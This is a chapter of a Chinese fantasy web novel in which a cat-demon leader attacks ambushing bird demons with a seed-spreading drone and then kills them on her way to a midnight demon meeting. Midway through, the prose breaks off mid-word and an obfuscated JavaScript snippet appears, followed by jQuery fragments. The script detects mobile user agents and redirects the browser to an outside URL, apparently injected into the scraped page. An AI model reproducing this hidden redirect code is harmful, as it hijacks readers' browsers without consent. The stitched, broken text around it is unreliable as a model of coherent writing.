45. 稳重后面是变态

作品:《大道三千,恭喜你是月老啊

    红毛狐狸焦急原地打转,他抬头看向屋外,整条街在大雾中朦朦胧胧诡异透出些红色、绿色光点。


    实在让人慎得慌,这可不是什么好预兆。


    “大王你怎么就直接答应他们了呢?他们绝对是发现二当家不在家故意设陷阱想引诱你出门,可,可能有埋伏啊。谁会半夜去妖办开会?”


    橙花在后脑勺上挽起简单发髻,她抬手往身上一划,身上的半立领长袖月牙白旗袍长裙立马变成牛仔外套配黑色长裤,脚上的玛丽珍小皮鞋也变成黑色马丁短靴。


    事到如今,少女的脸上也没有太大波澜,她指尖轻颤摸了下发髻,语调尾微微上扬:“你怕不是糊涂了,你回忆一下妖办难道没有在半夜开过会吗?我可从一个老前辈那里听过不少故事。”


    红毛狐狸眼神震动,他张了张嘴,平日能说会道的舌头变成生锈卡顿的链条。


    “不是妖办召集大家在半夜开会,而是能走到开会地点的妖才有机会参会。”


    少女站在这栋能庇护她的住所门口,语气淡然吐字清晰:“走吧,迟早要对上。”


    老胡耸拉着眉毛看着大王毫不慌张的背影,心里升起一点希冀,橙花这么淡定肯定是有备而来了吧?


    村外那条小河流动不息,夜晚的水面偶尔闪现波光,随后又被浓雾遮盖住动静,模糊了雾和水的分界线。


    仓鼠妈抱着小老鼠缩在地洞里瑟瑟发抖,这个小窝里的物资都来自三月片村里的好心小妖,二当家满月更是经常给她送来吃食,大家都说她的母爱事迹感天动地,连冷酷小狼都要来她这里上感情教育课。


    可她现在却有些后悔与那些好心小妖接触,在她的洞穴周围现在躲满伏击的坏人,她偷听到他们的对话,也知道这些坏人要在这条去往妖办的路上做些什么,但她只想这场斗争早点结束。


    至于谁赢谁输,她根本不在乎。


    浓雾里有异动慢慢靠近,这让半空随时监视的羽族即刻捕捉。


    “那只猫带着狐狸来了。”


    芦苇荡和枯树枝头窸窸窣窣声立马沉淀。


    羽族的尖喙和利爪都已调整到最佳攻击状态。


    没想到下一秒空中就突兀炸开刺耳嗡鸣声,大风和强烈光照像神迹从天而降。


    鸟族受到惊吓嘎嘎乱叫,芦苇荡和树上乱成一锅粥,还没等他们适应眼前突如其来的刺眼光芒,不明来处的针雨就密密麻麻跟着降下,尖细针头360度全方面攻击喷射,除了转头就跑的机灵鬼,剩下的妖多少都挨了几针。


    “嗷嗷啊啊,这是什么好痛啊啊!”


    “见鬼嘎嘎嘎嘎,发生了什么?”


    被扎成刺猬的鸟妖们眯着眼看向天空,一个巨大金属物体转动四个翅膀浮在高空,金属物体的腹部正装着巨大白色塑料桶,那些刺就是从桶底密密麻麻飞洒至所有妖头顶,四个翅膀下带着的超亮led灯更让所有小动物显出原形。


    “这,这是什么?”


    二十米外,橙花甩了下脖子上戴着的羊绒围巾,她手里捧着书本大小的电子屏幕,那上面都是按键。


    在她脚步亦步亦趋跟着只大红毛狐狸,此时红毛狐狸面部表情仿佛吃鱼卡了刺,上也不行下也不行。


    这个世界变化太快了嘛,怎么他感觉自己跟不上道了?


    少女停步站住,用利甲在屏幕上敲打片刻,她心平气和对着狐狸解释:“这个叫无人播种机,果然很好用啊,都什么时代了怎么还能用传统技术呢。”


    “怪不得妖道败落了,不知道读书的重要性。”


    前方被扎成刺猬的鸟妖们张大嘴看着说话之人,被对方话里话外怼的要死,有妖拔下手里的“针”细看。


    “这是板栗壳的刺?”


    十几米外的橙花操纵无人机返回,整个塑料桶里满满当当的板栗刺已经用了一小半,剩下的应该可以给她坚持到后半截路。


    少女半低头对着老狐狸教育:“板栗刺是有机自然物,可以用来春季沤肥。你好好安排娃娃们学习,这一片农地也算街道财产,春节让租客们来开荒顺带解决吃饭问题。”


    “哦,好好,”老狐狸夹着尾巴压着耳朵坐下,带着些惧意请示:“那,大王,光是板栗刺也不能沤肥啊,总要有蛋白质陪着发酵……”


    老胡声音越来越低,他扭头看着前方那十几头大大小小的妖怪,一个不可思议的想法浮现在他心头。


    不是他想的那样吧?他内心一直觉得二当家是疯狗,而大当家是温和稳重的领导。


    前方几十双红色光点在浓雾中一闭一合,那恶毒的仇视比河边淤泥还黏手。


    少女脸上发生变化,黑色纹路在她脸上忽隐忽现,她龇开嘴唇,那尖牙瞬间弹跳起来。


    双方一碰面就开始对峙,明暗交杂尖,两边数量完全不得等。


    老狐狸夹着尾巴打着哆嗦,心里考虑要不要转头逃跑。


    “上!她一个娘们怕她干什么!”


    “我们一起上,钉死她!”


    那些愤怒打手直接拔掉身上被扎中的刺,虽然都有些疼但也不是致命伤,不少妖鄙视看着这只猫妖。


    绣花针打架,娘们唧唧。


    带头的打手开始展开翅膀,攻击的命令就在他嘴边即将宣告。


    一句冰冷的话语先从猫妖处响起,只有短短两个字。


    “感染。”


    黑色雾气从猫的七窍中喷涌而出,那双眸子布满血丝比厉鬼还可怕几分,黑色的雾气在空中凝聚出一个不甘嘶吼的骷髅头。


    躲在地洞里的仓鼠妈脑袋里嗡的一声,就什么也听不到了。


    夜晚的妖办,山坳里破旧小楼前聚集不少小车。


    有妖穿的西装革履带着保镖像个生意人,有人穿金戴银烟酒俱全,还有孤身化成原形而来的参会者沉默不语。


    墙上塑料圆盘挂钟显示时间为晚上11点20分。


    屋里屋外不断有生物进出,相互传递信息。


    砰——一张木椅子因为坐在上面的人起身太快向后倾倒,弄出不小噪音。


    屋内有人满脸戏谑看了过去,那位站起身的人物脸色发白,厚重发达的胸肌起伏剧烈,脸上的鹰钩大鼻子抽动快速。


    大家没空管山鹰怎么样,所有生物的目光停留在他身边那位刚刚赶来的下属。


    那位下属冷汗顺着脸庞往下滑,他的脸色是在怪异苍白上打上刺眼血红,身上散出处阵阵血味和恶臭。


    腐败伤口和新鲜血液的奇怪组合,一下把屋里老江湖们勾起兴趣。


    “那猫女不讲情面……一下损失七八位兄弟,家族里就四十多号兄弟经不起这么折损啊。”


    山鹰听到伤亡数字眼瞳缩如针眼大,心脏被狠狠撞击,他咬牙切齿交代:“让小舒带重礼去求情,说都是误会,我在这等橙老板来了亲自赔罪。”


    屋里各角落冒出几声冷笑。


    光秃秃混着点黄色草根的泥土地上,红毛狐狸抱着怀里冰冷遥感器,全身炸毛夹紧双腿,总感觉尿意直往下流。


    那无人机的led灯泡不是来照明的,明明是来索


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130651|192186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    命的!


    橙花身上的外套和皮鞋都沾上不少番茄色,就连长马尾也松散掉落碎发。她的表情凶狠,脸上还浮现出豹猫的特殊花纹,人形和原形状态不稳定在她头上快速替换,唯有那双手稳定发挥力量,用力一次次撕碎那些显现枯萎的羽翅。


    白色羽毛和黑色羽毛沾洋洋洒洒飘一地,空气中臭味浓烈,像草根里塞满死老鼠。


    能挣扎跑掉的敌人早就跑了,现场恢复一片安静,刚刚还在求饶的小妖怪已经再也说不出话。


    几颗发黑的鸟头滚落在地,对面临时赶来的美女忍不住放声尖叫,又死死捂着自己的嘴,原来的高雅温柔气质早就碎成一地。


    她是老鼠精啊,比鸟类更受猫的“欢迎”啊!


    求生本能在舒女士体内超级大爆发,但她转身那瞬又迟疑起来,自己能往哪里跑?做不好这件事回去山鹰也不会放过她。


    控制不住流泪的女士蠕动嘴唇断断续续求饶:“橙大当家……误会,停手吧。我们向你赔礼道歉。”


    少女甩手扔掉手里的“化肥”,头发丝上沾着的碎肉和骨屑稳稳当当不滑落,她嘴里呼出的气变成白雾模糊其面容:“嗯?你让我停手?”


    声音平和,语气冷静,就像在问明天早上你吃什么。


    “这事开关在我手里,不是在你们手里,我说什么时候停就什么时候停。”


    红毛狐狸脊椎闪过麻意,一股暖流从狐狸大腿流下趟在冬季草地上,他更觉得喉咙一阵窒息。老胡以为她刚刚杀疯了,停不了手没了理智,没想到橙花理智一直都在,原来她没疯。


    不,这比疯了更可怕,这只猫就是恶魔!


    寒风呼啸而过,卷走满地羽毛。


    寒冰和松香味让人格外醒脑,川西高原上的河水已经是枯水期,但这处小瀑布水流还行,最起码在夜间让人看不透水幕。


    麻雀在空中飞荡一圈最后收起振翅停在树枝,小鸟妖早就已经六神无主:“看不清!那狼刚刚对着这瀑布嗷呜两声就跳进河里,现在已经过去几分钟都没见再出来。”


    渡鸦烦躁不安,他咬咬牙也在空中盘旋几圈:“不行,水流速度不小水况也复杂,我看不透这瀑布后有什么玄机。”


    “你说,”那麻雀想起平时看过的电视剧,在一旁跳脚,“你说这瀑布是不是一个假相,后面藏着个山洞里面住着一堆妖。”


    黑乎乎又背光的小瀑布哗啦啦冲刷而下,激起的白色水沫可以掩盖一切打探视线和味道。


    渡鸦内心推敲片刻,对着不灵光的同伴哄道:“要不前辈你飞近点看看,你个子小又灵活,比我牛多了,我在外面接应你。这次出来老大都说了要听你安排。”


    麻雀不疑有他,抢头功的诱惑让它的小脑袋思考不了其他东西,一听这话还有点得意呢,它舞起翅膀就小心靠近那湍急瀑布,心里想着一旦发现不对就转头逃跑。


    白棕色羽毛顺着气流小心靠近瀑布,小动物的第六感告诉它这瀑布后有东西,那到底是什么东西呢?


    瀑布水冲击带来的气流有些絮乱,麻雀卷腹翘起腿在空中上下挥翅勉强保持平衡,他张嘴小声叫了一声。


    水后面好像有东西?


    这个念头还没消散,混乱的气流猛然合拢,一股巨大的吸力像捕鱼网般迎头浇在麻雀脑门上,带着不可抵抗的强劲直接把它吸进瀑布!


    麻雀喉咙里才刚刚产生大叫的冲动,眼前世界先撞上一片黑暗。


    昏迷前,这只鸟妖想起来一个人类词语。


    风生水起。